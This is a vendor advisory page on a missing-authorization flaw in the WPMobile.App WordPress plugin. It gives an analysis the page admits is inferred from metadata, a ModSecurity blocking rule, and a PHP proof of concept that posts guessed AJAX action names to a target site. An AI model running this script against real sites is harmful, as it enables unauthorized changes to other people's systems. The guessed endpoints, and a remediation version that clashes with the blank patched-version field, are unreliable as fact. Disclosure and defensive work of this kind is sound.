Opens in a new tab
Published : November 15, 2026

CVE-2026-61984: WPMobile.App <= 11.77 Missing Authorization PoC, Patch Analysis & Rule

Plugin wpappninja
Severity Medium (CVSS 5.3)
CWE 862
Vulnerable Version 11.77
Patched Version —
Disclosed August 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-61984 (metadata-based):

CVE-2026-61984 is a missing authorization vulnerability in the WPMobile.App plugin (slug wpappninja) for WordPress, affecting versions up to and including 11.77. The vulnerability allows unauthenticated attackers to invoke a plugin function that lacks a capability check, enabling an unauthorized action. The CVSS score is 5.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N, indicating low integrity impact and no confidentiality or availability impact. Atomic Edge analysis classifies this as a classic CWE-862 Missing Authorization issue where a function intended for privileged users is exposed without proper access control.

Root Cause: The root cause is inferred from the CWE-862 classification and the description. The plugin registers a function (likely via an AJAX action, REST route, or admin-post handler) that performs a state-changing operation but fails to verify that the caller has the necessary capability (e.g., manage_options or a custom capability). The vulnerability is not confirmed from a code diff because the vulnerable and patched versions are not downloadable. However, based on WordPress plugin conventions and the description, the missing check is probably a call to current_user_can() or a nonce verification that was omitted. The CVSS vector PR:N confirms that no authentication is required, meaning the function is reachable by unauthenticated users, which is common when the function is registered via wp_ajax_nopriv_ hooks.

Exploitation: An unauthenticated attacker can send a crafted HTTP request to the vulnerable endpoint. Based on the plugin slug and typical WordPress patterns, the most likely endpoint is /wp-admin/admin-ajax.php with an action parameter that matches a plugin-specific hook (e.g., action=wpappninja_some_action). Alternatively, the vulnerability could be in a REST API route under /wp-json/wpappninja/v1/endpoint. Without the code diff, the exact action name and parameters are inferred. Attackers can enumerate common action names or inspect the plugin’s JavaScript to discover the correct action. The payload would include the necessary parameters to trigger the unauthorized action, such as modifying plugin settings or injecting data. The low integrity impact suggests the action may alter configuration or content.

Remediation: The fix in version 11.78 likely adds a capability check (e.g., current_user_can(‘manage_options’)) and possibly a nonce verification before executing the vulnerable function. The patch may also restrict the function to authenticated users with appropriate roles. Atomic Edge research infers that the remediation involves adding proper authorization checks, aligning with the CWE-862 classification.

Impact: Successful exploitation allows unauthenticated attackers to perform an unauthorized action, which may result in low integrity impact. This could include modifying plugin settings, injecting content, or altering application state. The CVSS score indicates no confidentiality or availability impact, but integrity impact can lead to further attacks or site defacement. Atomic Edge analysis rates the overall risk as moderate due to the low complexity and unauthenticated nature of the vulnerability.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-61984 (metadata-based)
# This rule targets the likely AJAX endpoint for the WPMobile.App plugin missing authorization vulnerability.
# It blocks requests to admin-ajax.php with action names containing 'wpappninja' and a parameter 'setting' or 'value'.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261984,phase:2,deny,status:403,chain,msg:'CVE-2026-61984 - WPMobile.App missing authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-61984'"
  SecRule ARGS_POST:action "@rx ^wpappninja_" "chain"
    SecRule ARGS_POST:setting|ARGS_POST:value "@rx ." "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-61984 - WPMobile.App <= 11.77 - Missing Authorization

// This PoC attempts to exploit a missing capability check on a function in the WPMobile.App plugin.
// The exact vulnerable action is unknown, so the PoC tries a list of common action names derived from the plugin slug.
// Assumptions: The vulnerable endpoint is an AJAX action accessible via admin-ajax.php without authentication.

$target_url = 'http://example.com'; // Change to the target WordPress site URL

// List of potential AJAX actions to test
$actions = [
    'wpappninja_action',
    'wpappninja_save_settings',
    'wpappninja_update',
    'wpappninja_config',
    'wpappninja_ajax',
    'wpappninja_admin',
    'wpappninja_nonce',
    'wpappninja_sync',
];

// Common parameters to include in the request
$params = [
    'setting' => 'test',
    'value' => '1',
    'data' => 'test',
    'action' => '', // will be set in loop
];

$results = [];

foreach ($actions as $action) {
    $params['action'] = $action;
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);

    // Check for signs of successful exploitation (e.g., non-error response)
    // A response of "0" or "-1" often indicates failure, but any other response could indicate success.
    if ($http_code == 200 && $response !== '0' && $response !== '-1' && $response !== '') {
        $results[] = "Action '$action' returned: " . substr($response, 0, 200);
    }
}

if (empty($results)) {
    echo "No successful exploitation detected. The action name may be different.n";
} else {
    echo "Potential exploitation results:n";
    foreach ($results as $result) {
        echo $result . "n";
    }
}

// Note: This PoC is for educational purposes only. Use responsibly.
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.